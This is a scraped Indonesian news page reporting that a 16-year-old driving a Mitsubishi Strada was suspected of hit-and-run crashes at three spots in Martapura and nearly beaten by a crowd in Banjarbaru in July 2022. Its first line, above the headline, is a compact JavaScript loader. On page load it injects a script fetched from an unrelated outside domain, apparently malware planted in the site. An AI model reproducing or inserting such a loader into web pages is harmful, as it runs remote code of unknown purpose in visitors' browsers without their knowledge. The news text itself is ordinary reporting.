(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Diduga Tabrak Lari Tiga Lokasi di Martapura, Pengemudi Mitsubishi Strada Nyaris Diamuk Massa di Banjarbaru


KANALKALIMANTAN.COM, BANJARBARU – Sopir sebuah mobil jenis double cabin yang dikemudikan secara ugal-ugalan nyaris dipermak massa di Jalan Ir PM Noor, tepatnya di depan Komplek Nirwana Permai, Kelurahan Sungai Ulin, Kota Banjarbaru, Sabtu (16/7/2022) malam.

Diketahui mobil double cabin Mitsubishi Strada bernopol KT 8377 KH baru berhenti setelah mengalami patah shockbreaker ban depan sebelah kiri.

Informasi yang diperoleh Kanalkalimantan.com, sopir yang ugal-ugalan itu ternyata mencoba kabur setelah melakukan tabrak lari di tiga lokasi berbeda di Kota Martapura, kemudian mencoba kabur ke wilayah Banjarbaru, tapi keburu ditangkap, bahkan sang sopir nyaris dipermak massa.

Belakangan setelah tertangkap, ternyata sang sopir alias pengemudi mobil Mitsubishi Strada putih KT 8377 KH dikemudikan seorang anak laki-laki yang baru berusia 16 tahun. Diduga anak laki-laki itu merupakan terduga pelaku tabrak lari di beberapa titik di Kota Martapura, Kabupaten Banjar.

 

Baca juga  : Bappeda Kasel Siapkan Implementasi Satu Data Banua

Salah seorang saksi mata, Sa’bani kepada Kanalkalimantan.com, mengatakan, pengemudi diduga merupakan pelaku dari tabrak lari yang terjadi di tiga lokasi.

“Yang saya tahu mobil itu menabrak orang di jembatan Sungai Paring, korban mengalami patah tangan, kemudian tabrakan di Guntung Alaban dan di daerah Sekumpul,” ujarnya.

Ketiga kecelakaan tersebut diduga terjadi sebelum mobil berakhir dengan kerusakan di kawasan Sungai Ulin, Banjarbaru.

Masih kata Sa’bani, mobil double cabin itu sempat terjadi kejar-kejaran dengan pengendara motor dari Martapura.

 

Baca juga : Ratusan Petugas Kebersihan di Amuntai Terima Jaminan Kesehatan

“Mobilnya itu tadi dikejar dengan sepeda motor dari Martapura karena melakukan tabrak lari,” sambungnya.

Tak sampai disitu, pengemudi mobil Mitsubishi Strada, saat berada di Jalan Ir PM Noor melakukan pelanggaran lalu lintas dengan melawan arus jalan, sebelum shockbreaker mobilnya patah dan sempat menyerempet truk yang lewat.

“Mobilnya ini baru berhenti tadi setelah sempat menyerempet truk waktu melawan arus di jalan,” tambahnya.

Dilanjutkan Sa’bani, ketika mobil terhenti dengan sendirinya, nyaris diamuk massa di tempat.

 

Baca juga : Dua Pasien RSJ Sambang Lihum Loncati Pagar Lari Ke Hutan

“Sempat ingin dipukuli warga, tapi sudah diamankan ke Polres,” tuntasnya.

Setelah mobil Strada mengalami kerusakan di bagian ban, pengemudi tabrak lari tersebut diamankan warga dan kemudian di bawa ke kantor polisi.(Kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.